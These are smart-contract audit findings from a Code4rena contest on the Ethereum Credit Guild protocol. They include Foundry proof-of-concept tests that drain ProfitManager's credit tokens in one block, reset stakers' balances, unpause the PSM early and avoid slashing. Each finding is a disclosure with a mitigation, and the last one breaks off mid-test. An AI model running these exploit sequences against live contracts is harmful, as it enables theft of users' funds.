Ethereum Credit Guild - 0xpiken's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

Impact

The credit token owned by ProfitManager could be drained by malicious user.

Proof of Concept

The Ethereum Credit Guild uses a gauge system to determine the relative debt ceiling of the lending term. The providers determine the relative debt ceilings of the lending term:

• Guild holders can increase the debt ceiling by staking GUILD into the lending term
• Credit holders can increase the debt ceiling by staking CREDIT into SurplusGuildMinter of the lending term

Every staker is eligible to receive rewards from the profits generated during the lending term:

• Guild stakers call ProfitManager#claimGaugeRewards() to claim credit rewards
• Credit stakers call SurplusGuildMinter#getRewards() to claim credit rewards from SurplusGuildMinter

If guild holder doesn't provide any weight on gauge, no reward can be claimed when calling ProfitManager#claimGaugeRewards():

416:        if (_userGaugeWeight == 0) {
417:            return 0;
418:        }

Otherwise, the credit reward will be calculated and transferred to guild holders:

419:        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
420:        uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
421:        if (_gaugeProfitIndex == 0) {
422:            _gaugeProfitIndex = 1e18;
423:        }
424:        if (_userGaugeProfitIndex == 0) {
425:            _userGaugeProfitIndex = 1e18;
426:        }
427:        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
428:        if (deltaIndex != 0) {
429:            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
430:            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
431:        }
432:        if (creditEarned != 0) {
433:            emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
434:            CreditToken(credit).transfer(user, creditEarned);
435:        }

userGaugeProfitIndex[user][gauge] will be updated to the latest value of _gaugeProfitIndex if _userGaugeWeight is not 0. However it doesn't get updated when _userGaugeWeight is 0. Guild holders have chance to claim credit rewards even they didn't provide any weight for gague.

Suppose alice didn't provide any weight on gague in the beginning:

• When one loan on a term(gauge) is repaid, gaugeProfitIndex[gauge] will get increased accordingly through the calling of ProfitManager#notifyPnL().
• alice notice that and call GuildToken#incrementGauge() to add all free weight to gauge. userGaugeProfitIndex[alice][gauge] is not updated since previous _userGaugeWeight is 0.
  • userGaugeProfitIndex[alice][gauge] is 0 if it's first time alice calling incrementGauge() on gague
  • or userGaugeProfitIndex[alice][gauge] remains unchanged，the last update of which is in calling of decrementGauge() by alice to remove all weight on gauge
• Alice call GuildToken#decrementGauge() in the same block, since deltaIndex is not 0, she can claim reward and exit immediatelly.

Furthermore, If an attacker can flash loan GUILD somewhere, they can drain all credit token balance in profitManager in one block:

• An attacker flash loan a huge amount of GUILD
• call GuildToken#incrementGauge() and GuildToken#decrementGauge() to claim credit token rewards
• redeem credit rewards to peg token
• repay all borrowed GUILD and interest

Copy below codes to SurplusGuildMinter.t.sol and run forge test --match-test testDrainProfitManagerInOneBlock:

    function testDrainProfitManagerInOneBlock() public {
        // setup
        credit.mint(address(this), 150e18);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        assertEq(credit.balanceOf(address(this)), 0);
        assertEq(profitManager.termSurplusBuffer(term), 150e18);
        assertEq(guild.balanceOf(address(sgm)), 300e18);
        assertEq(guild.getGaugeWeight(term), 350e18);
        assertEq(sgm.getUserStake(address(this), term).credit, 150e18);

        // the guild token earn interests
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        credit.mint(address(profitManager), 35e18);
        profitManager.notifyPnL(term, 35e18);

        // next block
        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        address alice = address(0x1);
        guild.mint(alice, 3700e18);
        //@audit-info alice got 3700e18 guild token before attack
        assertEq(guild.balanceOf(alice), 3700e18);
        assertEq(credit.balanceOf(alice), 0);
        //@audit-info 185e18 = 150e18 + 35e18 (staked credit + profit)
        assertEq(credit.balanceOf(address(profitManager)), 185e18);
        vm.startPrank(alice);
        //@audit-info alice attack profitManager in one block
        guild.incrementGauge(term, 3700e18);
        guild.decrementGauge(term, 3700e18);
        vm.stopPrank();
        assertEq(guild.balanceOf(alice), 3700e18);
        //@audit-info all credit token in profitManger are drained 
        assertEq(credit.balanceOf(alice), 185e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

userGaugeProfitIndex[user][gauge] must be always updated to the latest gaugeProfitIndex[gauge] each time claimGaugeRewards() is called, no matter _userGaugeWeight is 0 or not:

    function claimGaugeRewards(
        address user,
        address gauge
    ) public returns (uint256 creditEarned) {
        uint256 _userGaugeWeight = uint256(
            GuildToken(guild).getUserGaugeWeight(user, gauge)
        );
        if (_userGaugeWeight == 0) {
+           userGaugeProfitIndex[user][gauge] = gaugeProfitIndex[gauge];
            return 0;
        }
        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
        uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
        if (_gaugeProfitIndex == 0) {
            _gaugeProfitIndex = 1e18;
        }
       if (_userGaugeProfitIndex == 0) {
           _userGaugeProfitIndex = 1e18;
       }
        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
        if (deltaIndex != 0) {
            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
        }
        if (creditEarned != 0) {
            emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
            CreditToken(credit).transfer(user, creditEarned);
        }
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L229-L231

Vulnerability details

Impact

If a loss has been reported in a particular gauge, users will loss all staked credit tokens, even if they staked them after the notified loss occurred.

Proof of Concept

The Ethereum Credit Guild uses a gauge system to determine the relative debt ceiling of the lending term. The providers of first-loss capital determine the relative debt ceilings of the lending term:

• Guild holders can increase the debt ceiling by staking GUILD into the lending term
• Credit holders can increase the debt ceiling by staking CREDIT into SurplusGuildMinter of the lending term

Every staker is eligible to receive rewards from the profits generated during the lending term:

• Guild stakers call ProfitManager#claimGaugeRewards() to claim rewards
• Credit stakers call SurplusGuildMinter#getRewards() to claim rewards from SurplusGuildMinter

In the event of any loss to the lending term, all staked tokens will be entirely decreased from stakers, regardless of the magnitude of the loss, as soon as it occurs. After calling GuildToken#applyGaugeLoss() to apply the loss in the lending term(gauge), Guild holders / Credit holders can stake their tokens to increase the debt ceiling again. And these new staking activities should not be influenced by any previous losses incurred.

However, When calculating reward in SurplusGuildMinter#getRewards(), userStake.lastGaugeLoss is always 0, and lastGaugeLoss is non-zero if any loss happened before, slashed will be marked as true:

228:        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
229:        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
230:            slashed = true;
231:        }

Credit token staker will lose all their staked tokens:

274:        if (slashed) {
275:            emit Unstake(block.timestamp, term, uint256(userStake.credit));
276:            userStake = UserStake({
277:                stakeTime: uint48(0),
278:                lastGaugeLoss: uint48(0),
279:                profitIndex: uint160(0),
280:                credit: uint128(0),
281:                guild: uint128(0)
282:            });
283:            updateState = true;
284:        }
285:
286:        // store the updated stake, if needed
287:        if (updateState) {
288:            _stakes[user][term] = userStake;
289:        }

Copy below codes to SurplusGuildMinter.t.sol and run forge test --match-test testGetRewardsResetUserStaking:

    function testGetRewardsResetUserStaking() public {
        // add a 1 term
        address term1 = address(new MockLendingTerm(address(core)));
        guild.addGauge(1, term1);

        address user1 = address(0x1);

        credit.mint(user1, 101e18);
        //@audit-info user1 donates 1e18 credit to profitManager
        vm.startPrank(user1);
        credit.approve(address(profitManager), 1e18);
        profitManager.donateToSurplusBuffer(1e18);
        vm.stopPrank();

        assertEq(profitManager.surplusBuffer(), 1e18);
        //@audit-info 1e18 credit loss was notified to profitManager
        profitManager.notifyPnL(term1, -1e18);
        //@audit-info the loss was deducted from profitManager.surplusBuff due profitManager.termSurplusBuffer is 0
        assertEq(profitManager.surplusBuffer(), 0);

        // next block
        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);
        //@audit-info user1 stake 100e18 credit for term1 into SurplusGuildMinter
        vm.startPrank(user1);
        credit.approve(address(sgm), 100e18);
        sgm.stake(term1, 100e18);
        vm.stopPrank();
        //@audit-info profitManager.termSurplusBuffer was increased to 100e18
        assertEq(profitManager.termSurplusBuffer(term1), 100e18);

        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        //@audit-info 100e18 credit profit was produced
        credit.mint(address(profitManager), 100e18);
        profitManager.notifyPnL(term1, 100e18);

        assertEq(profitManager.surplusBuffer(), 50e18);

        //@audit-info user1 has 100e18 credit staked for term1 in SurplusGuildMinter
        assertEq(sgm.getUserStake(user1, term1).credit, 100e18);
        //@audit-info apply reward on behalf of user1 on term1
        sgm.getRewards(user1, term1);
        //@audit-info however all user staked credit has been reset to 0 due to wrong calculation in SurplusGuildMinter.getRewards()
        assertEq(sgm.getUserStake(user1, term1).credit, 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Retrieve stored data from _stakes to fill userStake before use it:

+       userStake = _stakes[user][term];
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }

        // if the user is not staking, do nothing
-       userStake = _stakes[user][term];

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L138-L140

Vulnerability details

Impact

Credit token holders might exploit this vulnerability to unpause SimplePSM, withdraw their pegToken without suffering any loss, and leave bad debt to other passive holders if there are any other pending offboarding terms (offboarded but not yet cleaned up).

Proof of Concept

Several terms(instances of LendingTerm) can be deployed and onboarded for a single CreditToken through LendingTermOnboarding. LendingTermOffboarding is used to offboard the living terms. Upon offboarding a lending term, the redemption function of the corresponding psm will be paused to ensure asset safety:

162:        if (
163:            nOffboardingsInProgress++ == 0 &&
164:            !SimplePSM(psm).redemptionsPaused()
165:        ) {
166:            SimplePSM(psm).setRedemptionsPaused(true);
167        }

This pausing can only be reversed by invoking cleanup() when all loans from the offboarded term have been auctioned or forgiven. If multiple terms are offboarded simultaneously, the redemption function of the psm can only be unpaused after all the respective terms have been cleaned up.

190:        // unpause psm redemptions
191:        if (
192:            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
193:        ) {
194:            SimplePSM(psm).setRedemptionsPaused(false);
195:        }

However, when a term is offboarded and cleaned up, unvoted guild holders can clean up it again. Through multiple rounds of cleaning up, they could potentially unpause the redemption function of the psm and redeem all their credit tokens, even if other terms are still pending.

The root cause is that if an offboarding proposal is passed, offboarded and cleaned up, any unvoted guild holder can vote it again and update canOffboard[term] to true as soon as the proposal is not expired. With new voting the term can be cleaned up again.

Copy below codes to LendingTermOffboarding.t.sol and run forge test --match-test testOffboardOnSameTermTwice:

    function testOffboardOnSameTermTwice() public {
        //@audit-info deploy term2
        LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm())));
        term2.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: 0,
                minPartialRepayPercent: 0,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        vm.startPrank(governor);
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
        vm.stopPrank();
        //@audit-info active term2
        guild.addGauge(2, address(term2));
        // prepare (1)
        guild.mint(bob, _QUORUM);
        guild.mint(alice, 1);
        //@audit-info alice self-delegate votes. alice has 1 vote now
        vm.prank(alice);
        guild.delegate(alice);

        vm.startPrank(bob);
        //@audit-info bob self-delegate votes. Bob has _QUORUM votes now
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        offboarder.proposeOffboard(address(term2));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        // prepare (2)
        //@audit-info `term` can be offboarded now with support of bob
        offboarder.supportOffboard(snapshotBlock, address(term));
        assertEq(offboarder.polls(snapshotBlock, address(term)), _QUORUM + 1);
        assertEq(offboarder.canOffboard(address(term)), true);

        //@audit-info `term2` can be offboarded now with support of bob
        offboarder.supportOffboard(snapshotBlock, address(term2));
        assertEq(offboarder.polls(snapshotBlock, address(term2)), _QUORUM + 1);
        assertEq(offboarder.canOffboard(address(term2)), true);

        //@audit-info offboard `term` successfully
        offboarder.offboard(address(term));
        assertEq(guild.isGauge(address(term)), false);
        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 1);
        
        //@audit-info offboard `term2` successfully
        offboarder.offboard(address(term2));
        assertEq(guild.isGauge(address(term2)), false);
        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 2);

        // get enough CREDIT to pack back interests
        vm.stopPrank();

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        vm.startPrank(alice);
        // can close loans
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        //@audit-info `term` can be cleanuped now with all loans closed
        assertEq(term.issuance(), 0);
        //@audit-info `term2` can be cleanuped now since no any loans opened before
        assertEq(term2.issuance(), 0);
        //@audit-info cleanup `term` 
        offboarder.cleanup(address(term));
        assertEq(offboarder.nOffboardingsInProgress(), 1);
        assertEq(offboarder.canOffboard(address(term)), false);
        //@audit-info psm is still paused. Normally it only can be unpaused after `term2` is cleanuped.   
        assertEq(psm.redemptionsPaused(), true);

        //@audit-info alice votes for `term`
        offboarder.supportOffboard(snapshotBlock, address(term));
        assertEq(offboarder.canOffboard(address(term)), true);
        //@audit-info cleanup `term` one more time.
        offboarder.cleanup(address(term));

        assertEq(offboarder.nOffboardingsInProgress(), 0);
        assertEq(offboarder.canOffboard(address(term)), false);
        //@audit-info psm is unpaused even `term2` was not cleanuped. 
        assertEq(psm.redemptionsPaused(), false);
        assertEq(offboarder.canOffboard(address(term2)), true);

        //@audit-info there is no way to cleanup `term2` due to arithmetic underflow
        vm.expectRevert();
        offboarder.cleanup(address(term2));
    }

Tools Used

Manual review

Recommended Mitigation Steps

There are two ways to fix this vulnerability in LendingTermOffboarding#supportOffboard().

Refuse any new votes once the quorum is met:

        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
+       require(_weight < quorum, "Poll passed");

or only change canOffboard[term] when all votes surpass the quorum:

-       if (_weight + userWeight >= quorum) {
+       if (userWeight < quorum && _weight + userWeight >= quorum) {
            canOffboard[term] = true;
        }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L41

Vulnerability details

Impact

The whole protocol can only support one asset instead of multi assets they claimed.

Proof of Concept

ECG protocol claimed that it supports multi assets in its introduction:

The Credit Guild is a protocol for trust minimized pooled lending on the Ethereum network. Its goal is to scale governance to support a larger set of assets and loan terms, while minimizing third party risk.

It is also confirmed in contest introduction:

The first deployment of the protocol only has one credit token pegged to USDC: gUSDC ("Guild USDC"). In the future, it is expected that multiple markets will be deployed, each with their own credit token, but the GUILD token is the same for all markets.

It's obvious that only one GUILD token will be deployed to govern all markets(gUSDC, gDAI, gETH...)

Yet, the protocol lacks this ability owing to a design flaw:

• GuildToken is the governance token of the Ethereum Credit Guild, which means that only one GuildToken will be deployed for ECG protocol.
• Only a single profitManager is defined in GuildToken. https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L41:

40:    /// @notice reference to ProfitManager
41:    address public profitManager;

• There is only one credit defined in ProfitManager. https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L35:

34:    /// @notice reference to CREDIT token.
35:    address public credit;

From above we can see, ECG protocol can only support one credit token, which is defined in ProfitManager.

Tools Used

Manual review

Recommended Mitigation Steps

Allow GuildToken to support multi profitManager:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
import {ERC20Burnable} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";

import {CoreRef} from "@src/core/CoreRef.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {ERC20Gauges} from "@src/tokens/ERC20Gauges.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {ERC20MultiVotes} from "@src/tokens/ERC20MultiVotes.sol";

/** 
@title  GUILD ERC20 Token
@author eswak
@notice This is the governance token of the Ethereum Credit Guild.
    On deploy, this token is non-transferrable.
    During the non-transferrable period, GUILD can still be minted & burnt, only
    `transfer` and `transferFrom` are reverting.

    The gauge system is used to define debt ceilings on a set of lending terms.
    Lending terms can be whitelisted by adding a gauge for their address, if GUILD
    holders vote for these lending terms in the gauge system, the lending terms will
    have a non-zero debt ceiling, and borrowing will be available under these terms.

    When a lending term creates bad debt, a loss is notified in a gauge on this
    contract (`notifyGaugeLoss`). When a loss is notified, all the GUILD token weight voting
    for this gauge becomes non-transferable and can be permissionlessly slashed. Until the
    loss is realized (`applyGaugeLoss`), a user cannot transfer their locked tokens or
    decrease the weight they assign to the gauge that suffered a loss.
    Even when a loss occur, users can still transfer tokens with which they vote for gauges
    that did not suffer a loss.
*/
contract GuildToken is CoreRef, ERC20Burnable, ERC20Gauges, ERC20MultiVotes {
    using EnumerableSet for EnumerableSet.AddressSet;

    /// @notice reference to ProfitManager
-   address public profitManager;
+   mapping(uint256 => address) public profitManagers;

    constructor(
+       address _core
-       address _core,
-       address _profitManager
    )
        CoreRef(_core)
        ERC20("Ethereum Credit Guild - GUILD", "GUILD")
        ERC20Permit("Ethereum Credit Guild - GUILD")
    {
-       profitManager = _profitManager;
    }

    /*///////////////////////////////////////////////////////////////
                        VOTING MANAGEMENT
    //////////////////////////////////////////////////////////////*/

    /// @notice Set `maxDelegates`, the maximum number of addresses any account can delegate voting power to.
    function setMaxDelegates(
        uint256 newMax
    ) external onlyCoreRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS) {
        _setMaxDelegates(newMax);
    }

    /// @notice Allow or disallow an address to delegate voting power to more addresses than `maxDelegates`.
    function setContractExceedMaxDelegates(
        address account,
        bool canExceedMax
    ) external onlyCoreRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS) {
        _setContractExceedMaxDelegates(account, canExceedMax);
    }

    /*///////////////////////////////////////////////////////////////
                        GAUGE MANAGEMENT
    //////////////////////////////////////////////////////////////*/
    function addGauge(
        uint256 _type,
        address gauge
    ) external onlyCoreRole(CoreRoles.GAUGE_ADD) returns (uint256) {
        return _addGauge(_type, gauge);
    }

    function removeGauge(
        address gauge
    ) external onlyCoreRole(CoreRoles.GAUGE_REMOVE) {
        _removeGauge(gauge);
    }

    function setMaxGauges(
        uint256 max
    ) external onlyCoreRole(CoreRoles.GAUGE_PARAMETERS) {
        _setMaxGauges(max);
    }

    function setCanExceedMaxGauges(
        address who,
        bool can
    ) external onlyCoreRole(CoreRoles.GAUGE_PARAMETERS) {
        _setCanExceedMaxGauges(who, can);
    }

    /*///////////////////////////////////////////////////////////////
                        LOSS MANAGEMENT
    //////////////////////////////////////////////////////////////*/

    /// @notice emitted when a loss in a gauge is notified.
    event GaugeLoss(address indexed gauge, uint256 indexed when);
    /// @notice emitted when a loss in a gauge is applied (for each user).
    event GaugeLossApply(
        address indexed gauge,
        address indexed who,
        uint256 weight,
        uint256 when
    );

    /// @notice last block.timestamp when a loss occurred in a given gauge
    mapping(address => uint256) public lastGaugeLoss;

    /// @notice last block.timestamp when a user apply a loss that occurred in a given gauge
    mapping(address => mapping(address => uint256)) public lastGaugeLossApplied;

    /// @notice notify loss in a given gauge
    function notifyGaugeLoss(address gauge) external {
-       require(msg.sender == profitManager, "UNAUTHORIZED");
+       require(msg.sender == profitManagers[gaugeType[gauge]], "UNAUTHORIZED");

        // save gauge loss
        lastGaugeLoss[gauge] = block.timestamp;
        emit GaugeLoss(gauge, block.timestamp);
    }

    /// @notice apply a loss that occurred in a given gauge
    /// anyone can apply the loss on behalf of anyone else
    function applyGaugeLoss(address gauge, address who) external {
        // check preconditions
        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
        require(
            _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
            "GuildToken: no loss to apply"
        );

        // read user weight allocated to the lossy gauge
        uint256 _userGaugeWeight = getUserGaugeWeight[who][gauge];

        // remove gauge weight allocation
        lastGaugeLossApplied[gauge][who] = block.timestamp;
        _decrementGaugeWeight(who, gauge, _userGaugeWeight);
        if (!_deprecatedGauges.contains(gauge)) {
            totalTypeWeight[gaugeType[gauge]] -= _userGaugeWeight;
            totalWeight -= _userGaugeWeight;
        }

        // apply loss
        _burn(who, uint256(_userGaugeWeight));
        emit GaugeLossApply(
            gauge,
            who,
            uint256(_userGaugeWeight),
            block.timestamp
        );
    }

    /*///////////////////////////////////////////////////////////////
                        TRANSFERABILITY
    //////////////////////////////////////////////////////////////*/

    /// @notice at deployment, tokens are not transferable (can only mint/burn).
    /// Governance can enable transfers with `enableTransfers()`.
    bool public transferable; // default = false

    /// @notice emitted when transfers are enabled.
    event TransfersEnabled(uint256 block, uint256 timestamp);

    /// @notice permanently enable token transfers.
    function enableTransfer() external onlyCoreRole(CoreRoles.GOVERNOR) {
        transferable = true;
        emit TransfersEnabled(block.number, block.timestamp);
    }

    /// @dev prevent transfers if they are not globally enabled.
    /// mint and burn (transfers to and from address 0) are accepted.
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 /* amount*/
    ) internal view override {
        require(
            transferable || from == address(0) || to == address(0),
            "GuildToken: transfers disabled"
        );
    }

    /// @notice emitted when reference to ProfitManager is updated
    event ProfitManagerUpdated(uint256 timestamp, address newValue);

    /// @notice set reference to ProfitManager
-   function setProfitManager(address _newProfitManager) external onlyCoreRole(CoreRoles.GOVERNOR) {
-       profitManager = _newProfitManager;
+   function setProfitManager(uint256 _type, address _newProfitManager) external onlyCoreRole(CoreRoles.GOVERNOR) {
+       profitManagers[_type] = _newProfitManager;
        emit ProfitManagerUpdated(block.timestamp, _newProfitManager);
    }

    /// @dev prevent outbound token transfers (_decrementWeightUntilFree) and gauge weight decrease
    /// (decrementGauge, decrementGauges) for users who have an unrealized loss in a gauge, or if the
    /// gauge is currently using its allocated debt ceiling. To decrement gauge weight, guild holders
    /// might have to call loans if the debt ceiling is used.
    /// Also update the user profit index and claim rewards.
    function _decrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
        require(
            _lastGaugeLossApplied >= _lastGaugeLoss,
            "GuildToken: pending loss"
        );

        // update the user profit index and claim rewards
-       ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+       ProfitManager(profitManagers[gaugeType[gauge]]).claimGaugeRewards(user, gauge);

        // check if gauge is currently using its allocated debt ceiling.
        // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
        uint256 issuance = LendingTerm(gauge).issuance();
        if (issuance != 0) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

        super._decrementGaugeWeight(user, gauge, weight);
    }

    /// @dev prevent weight increment for gauge if user has an unapplied loss.
    /// If the user has 0 weight (i.e. no loss to realize), allow incrementing
    /// gauge weight & update lastGaugeLossApplied to current time.
    /// Also update the user profit index an claim rewards.
    /// @dev note that users voting for a gauge that is not a proper lending term could result in this
    /// share of the user's tokens to be frozen, due to being unable to decrement weight.
    function _incrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
        if (getUserGaugeWeight[user][gauge] == 0) {
            lastGaugeLossApplied[gauge][user] = block.timestamp;
        } else {
            require(
                _lastGaugeLossApplied >= _lastGaugeLoss,
                "GuildToken: pending loss"
            );
        }
-       ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+       ProfitManager(profitManagers[gaugeType[gauge]]).claimGaugeRewards(user, gauge);

        super._incrementGaugeWeight(user, gauge, weight);
    }

    /*///////////////////////////////////////////////////////////////
                        MINT / BURN
    //////////////////////////////////////////////////////////////*/

    /// @notice mint new tokens to the target address
    function mint(
        address to,
        uint256 amount
    ) external onlyCoreRole(CoreRoles.GUILD_MINTER) {
        _mint(to, amount);
    }

    /*///////////////////////////////////////////////////////////////
                        Inheritance reconciliation
    //////////////////////////////////////////////////////////////*/

    function _burn(
        address from,
        uint256 amount
    ) internal virtual override(ERC20, ERC20Gauges, ERC20MultiVotes) {
        _decrementWeightUntilFree(from, amount);
        _decrementVotesUntilFree(from, amount);
        ERC20._burn(from, amount);
    }

    function transfer(
        address to,
        uint256 amount
    )
        public
        virtual
        override(ERC20, ERC20Gauges, ERC20MultiVotes)
        returns (bool)
    {
        _decrementWeightUntilFree(msg.sender, amount);
        _decrementVotesUntilFree(msg.sender, amount);
        return ERC20.transfer(to, amount);
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    )
        public
        virtual
        override(ERC20, ERC20Gauges, ERC20MultiVotes)
        returns (bool)
    {
        _decrementWeightUntilFree(from, amount);
        _decrementVotesUntilFree(from, amount);
        return ERC20.transferFrom(from, to, amount);
    }
}

Assessed type

Other

Judge has assessed an item in Issue #808 as 2 risk. The relevant finding follows:

[L‑02] Anyone can distribute() only 1 wei to extend rebase time to DISTRIBUTION_PERIOD

consider introducing a PROFIT_DISTRIBUTION role and adding access control on distribute().

Update the visibility of distribute() in ERC20RebaseDistributor:

-   function distribute(uint256 amount) external {
+   function distribute(uint256 amount) public {

Add access control by overriding distribute() in CreditToken:

    function distribute(uint256 amount) public override onlyCoreRole(CoreRoles.PROFIT_DISTRIBUTION) {
        super.distribute(amount);
    }

PROFIT_DISTRIBUTION role should be granted to ProfitManager when deployed.

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L207-L234

Vulnerability details

Impact

Guild holders might have the opportunity to protect themselves from being slashed by reducing their weight on an offboarded gauge, thereby transferring the loss to other passive holders and all credit token holders.

Proof of Concept

The mechanism utilized by the ECG protocol to address loan losses is as follows:

1. In the event of any loss to the lending term triggered by ProfitManager#notifyPnL(), all staked guild tokens on this term will be entirely slashed through GuildToken#notifyGaugeLoss(), regardless of the magnitude of the loss, as soon as it occurs.
2. termSurplusBuffer[gauge] will be depleted and donate to surplusBuffer
3. loss will decreased from surplusBuffer first.
4. Should the surplusBuffer be lower than the loss, the remaining loss will be deducted from each credit token by reducing the creditMultiplier.

A term can be offboarded if it is unsafe. Once offboarded, the redemption function of corresponding SimplePSM will be paused:

161:        // pause psm redemptions
162:        if (
163:            nOffboardingsInProgress++ == 0 &&
164:            !SimplePSM(psm).redemptionsPaused()
165:        ) {
167:            SimplePSM(psm).setRedemptionsPaused(true);
168:        }

No credit token holders can redeem credit tokens for peg tokens at the moment. The redemption function could be unpaused by calling LendingTermOffboarding#cleanup() once all loans on term are closed:

190:        // unpause psm redemptions
191:        if (
192:            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
193:        ) {
194:            SimplePSM(psm).setRedemptionsPaused(false);
195:        }

From above we can see, the loss may or may not happen to the offboarded term, but once it happen, the loss will be marked down to all credit token holders. No one can exit in advance and pass potential loss to others.

However, guild holders could have chance to reduce their weight on the offboarded term, transferring the potential loss to other passive holders and all credit token holders.

Copy below codes to LendingTermOffboarding.t.sol and run forge test --match-test testOffboardTermAndDecrementGauge:

    function testOffboardTermAndDecrementGauge() public {
        //@audit-info term2 is deployed
        LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm())));
        term2.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: 0,
                minPartialRepayPercent: 0,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        vm.startPrank(governor);
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term2));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term2));
        vm.stopPrank();
        //@audit-info active term2, which has the same gauge type with term1 
        guild.addGauge(1, address(term2));
